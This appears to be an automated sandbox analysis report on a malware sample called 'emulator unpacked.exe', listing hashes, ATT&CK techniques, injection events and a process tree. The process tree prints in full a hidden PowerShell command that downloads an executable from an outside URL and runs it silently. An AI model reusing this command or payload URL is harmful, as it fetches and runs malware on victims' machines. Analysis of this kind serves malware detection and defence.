9fed34da7d8d2f03fe9a812212bfad3be7e77cc4a94bae97f0cfdc44152569de

Resubmissions

15/08/2026, 00:22

260815-anxyhawsct

15/08/2026, 00:04

260815-acy2esvycv8

Analysis

user interaction
yes
max time kernel
24s
max time network
27s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
15/08/2026, 00:04

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General

Target
emulator unpacked.exe
Size 540KB
Sample260815-acy2esvycv
SHA256 9fed34da7d8d2f03fe9a812212bfad3be7e77cc4a94bae97f0cfdc44152569de
MD5 e6c65cec7cd6d68629c8f2d58b15d998
SHA1 93adb317666f8809cc3a42915f73a91a3d7967b6
SHA512 7c704d9e85d2f134a766dd4348a383c96eed189b0d91140384d7385a2f3c04ad11bdce6385af1600ed8551aa9a111b7e71204f2762172ae2612801a90473f4d8
SSDEEP 6144:Tv/ofR2xrWMBIK9MohpZgaCqQoHJrCxyMAyOUNXOfweU2u2W8h+aA/5voHex5YM7:G2xsJTOUpaHvnAuHUfooO0vzmEl
TLSH
T1B6C45C16DF24047CE07FD1FCD6A79D43E371B88A03B1AAEB1790EDB21E564946A3DA10
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	3508	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3508	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
4	3508	powershell.exe

Drops file in Drivers directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	emulator unpacked.exe
File opened for modification	C:\Windows\System32\drivers\etc\lmhosts.sam	emulator unpacked.exe
File opened for modification	C:\Windows\System32\drivers\etc\networks	emulator unpacked.exe
File opened for modification	C:\Windows\System32\drivers\etc\protocol	emulator unpacked.exe
File opened for modification	C:\Windows\System32\drivers\etc\services	emulator unpacked.exe

Executes dropped EXE 1 IoCs

pid	Process
4580	BK863002.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4088 set thread context of 3180	4088	emulator unpacked.exe	93

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4744	cmd.exe
4384	cmd.exe
1988	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3508	powershell.exe
3508	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4088	emulator unpacked.exe
Token: SeDebugPrivilege	3508	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4088 wrote to memory of 4744	4088	emulator unpacked.exe	91
PID 4744 wrote to memory of 4384	4744	cmd.exe	92
PID 4088 wrote to memory of 3180	4088	emulator unpacked.exe	93
PID 4088 wrote to memory of 3180	4088	emulator unpacked.exe	93
PID 4088 wrote to memory of 3180	4088	emulator unpacked.exe	93
PID 4088 wrote to memory of 3180	4088	emulator unpacked.exe	93
PID 4088 wrote to memory of 3180	4088	emulator unpacked.exe	93
PID 4088 wrote to memory of 3180	4088	emulator unpacked.exe	93
PID 4088 wrote to memory of 3180	4088	emulator unpacked.exe	93
PID 4088 wrote to memory of 1988	4088	emulator unpacked.exe	95
PID 4384 wrote to memory of 3508	4384	cmd.exe	96
PID 3508 wrote to memory of 4580	3508	powershell.exe	97

C:\Users\Admin\AppData\Local\Temp\emulator unpacked.exe
"C:\Users\Admin\AppData\Local\Temp\emulator unpacked.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK863002.exe; Start-Process -FilePath $env:TEMP\BK863002.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4744
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK863002.exe; Start-Process -FilePath $env:TEMP\BK863002.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4384
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK863002.exe; Start-Process -FilePath $env:TEMP\BK863002.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3508
    - - C:\Users\Admin\AppData\Local\Temp\BK863002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK863002.exe"
        5⤵
        Executes dropped EXE
        
        PID:4580
- C:\Users\Admin\AppData\Local\Temp\emulator unpacked.exe
  "C:\Users\Admin\AppData\Local\Temp\emulator unpacked.exe"
  2⤵
  PID:3180
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c title STAFFBESTING EMULATOR
  2⤵
  - Executes a command shell one-liner
  PID:1988

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

BK863002.exe

Path C:\Users\Admin\AppData\Local\Temp\BK863002.exe
Size 277KB
SHA256 600fd59a6114e08606f4bbc881c1c156193ff01371e1144a05ca787d365e067d
MD5 d712be26fe4bbd0ee1fc9156ea74b705
SHA1 0d73d709f61dcd7d58984dd154c50b925049689c
SHA512 cf5fbb98d408768300e56b6ae809af0dfd4366c47e95ee9e40602ed4827b6f6b4b76cda089ba7561d64bf38bdc64025c9f057e92854808f0b5cf790c1e19868e
SSDEEP 3072:cHg0HbTE/QaJkcHVqJr3NPAG0geM4tO/URydJ/28S2sQdJ1:cHgETakcMJrJ3H4cdJ/B/dJ
TLSH
T1CD547369EF48AC5AD4FB98FB78112A3ED0D0543787F079EA84C2097D5A0885F17FAD90
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3180-1-0x0000000140000000-0x0000000140050000-memory.dmp

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memory/3180-2-0x0000000140000000-0x0000000140050000-memory.dmp

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memory/3508-12-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

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memory/3508-14-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

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memory/3508-7-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

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memory/3508-8-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

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memory/3508-9-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

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memory/3508-10-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

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memory/3508-11-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

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memory/3508-28-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

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memory/3508-13-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

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memory/3508-4-0x000001DF2A950000-0x000001DF2A972000-memory.dmp

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memory/3508-15-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

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memory/3508-16-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

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memory/3508-17-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

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memory/3508-3-0x00007FFE21F9F000-0x00007FFE21FA0000-memory.dmp

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memory/3508-27-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

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memory/4088-0-0x0000000140000000-0x00000001400BB000-memory.dmp

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memory/4088-29-0x0000000140000000-0x00000001400BB000-memory.dmp

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memory/4088-30-0x0000000140000000-0x00000001400BB000-memory.dmp

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